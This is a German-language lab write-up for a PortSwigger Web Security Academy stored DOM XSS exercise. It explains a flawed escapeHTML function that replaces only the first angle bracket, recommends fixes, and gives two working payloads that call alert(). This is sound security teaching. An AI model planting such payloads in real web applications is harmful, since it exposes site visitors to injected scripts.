> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/stored-dom-xss.md).

# DOM-basiertes gespeichertes XSS

Notizen zu DOM-basiertem gespeichertem XSS für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Gespeichertes DOM-XSS

Dieses Labor demonstriert eine im Blog-Kommentarfeature gespeicherte DOM-Schwachstelle. Um das Labor zu lösen, verwende diese Schwachstelle, um den `alert()` Funktion aufruft.

wenn du das klassische `Skript` in den Kommentarbereich einfügst:

```javascript
<script>alert(0)</script>
```

Wir stellen fest, dass die Seite einen Teil des Kommentars löscht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0358355ce17df0a670ca0a9342a620478887cbad%2F%7B4BB37EC5-B761-46BD-9EC4-FD5CF0A0CB2D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4a94e93a47b2d6257d0e1286e6ae481b908e0a5%2F%7B51EBE8E6-EF84-4721-9597-2CA33135B2FD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Die Funktion ist:

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* Das `escapeHTML(HTML)` Funktion maskiert nicht **dass die erste** Vorkommen von `<` und `>` (Verwendung von `replace` einfach).
* Da der Code dann `innerHTML` zum Einfügen von Werten verwendet, können bösartige Tags bestehen bleiben und vom Browser interpretiert werden.
* Die Maskierung ist daher nur für das erste Auftreten wirksam; die folgenden Vorkommen bleiben verwundbar.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f78e2d4b29ac3d7c11c66a1dbbb3c0b2ed2b36bc%2F%7BEB54F97A-8555-4C2D-AF79-A18288E9D71B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Verwende eine globale Ersetzung (`replaceAll` oder einen globalen regulären Ausdruck), um zu maskieren **alle** Vorkommen von `<` und `>`.
* Vermeide die Verwendung von `innerHTML` für unzuverlässige Daten; bevorzuge `textContent` oder `createTextNode`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77ed68ace5fc6044a9c931920c21502126ebcdbb%2F%7B10F31C2E-40F6-4FF7-92C3-03DC5B7275D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ausnutzbare Payloads

* Schließe und injiziere ein Skript:

```javascript
<><script>alert(0)</script>
```

* Erzwinge einen Bildfehler, um `onerror:`

```javascript
<><img src=0 onerror=alert(0)>
```

Diese Payloads funktionieren, weil nur wenige Zeichen umgewandelt werden und zusätzliche Vorkommen von `<`/`>` interpretierbar bleiben.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de062e0bfc5ed92a3683ea7bcf0fbc57d5f303dc%2F%7BE753AEC8-197D-4ABB-8F7E-CAAA0C60147E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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